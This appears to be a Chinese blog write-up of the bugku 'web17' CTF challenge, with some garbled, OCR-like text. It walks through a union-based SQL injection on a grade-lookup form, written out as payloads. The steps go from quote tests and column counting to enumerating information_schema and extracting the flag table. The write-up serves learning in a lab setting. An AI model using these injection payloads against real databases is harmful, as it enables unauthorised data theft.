bugku web17 wp


最近在学习数据分析,学习了一些sql语言,激起了我对sql注入的学习,于是我刷了bugku 成绩查询这个题 下面记录下我学习的过程吧。
打开题目是一个输入框于是我想可能与sql注入有关,我查看网页源码


发现要用post的方式传参于是打开hackbar进行传参,看到name=id,placeholder = l ,2,3意思是传参name为id placeholder是输入用户名为1,2,3,…于是我传参id=1试试


结果有回显,成功查到了成绩单,然后换1,2,3…试试,发现有回显,


发现有4列表(名字,math,English,Chinese)再判断是字符型注入还是数值型注入:id=1成功查询,id=1’查询失败,id=1'#查询成功,所以该注入类型为字符型注入简单说明一下为仆么:如果是数伯型注人: W here id = l 成功 W here id=1’失败 Where id =1’ f 还是会失败如果是字符型注人: where id =‘1’成功 Where id =‘1’‘失败 where id =‘1’#’成功因为#会注释掉后面的字符就相当于 where id =‘1这里还可以参考《union注入之字符型注入和数值型注入》,  https://blog.csdn.net/ws1813004226/article/details/116599138?utm_source=app&app_version=4.8.0&code=app_1562916241&uLinkId=usr1mkqgl919blen 以学习字符型注入和数值型注入
输入 I order by4#返回正常,输入1 order by 5/返回异常,看来的确是4列。为什么要判断字符段的个数呢,因为 union 查询需要前后学符段数一致。接下来就开始暴库名、表名、字段名
首先爆库名:通过 id =11 ' union select 1,2,3, database ()#得到数据库名字 skctf _ flag

然后再查询表名:
d=11' union select 1,2,3,table_name from information_schema.tables where table_schema=‘skctf’ #
接下来是暴字段通过 id =- I ' union select 1,2,3, group _ concat ( column _ name ) from information _ schema . columns where table _name=0x666c3467#//这里需要用16进制绕过


最后就是查询数据了,通过使用:id=-1' union select 1,2,3,skctf_flag from fl4g#


这样flag就拿到了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值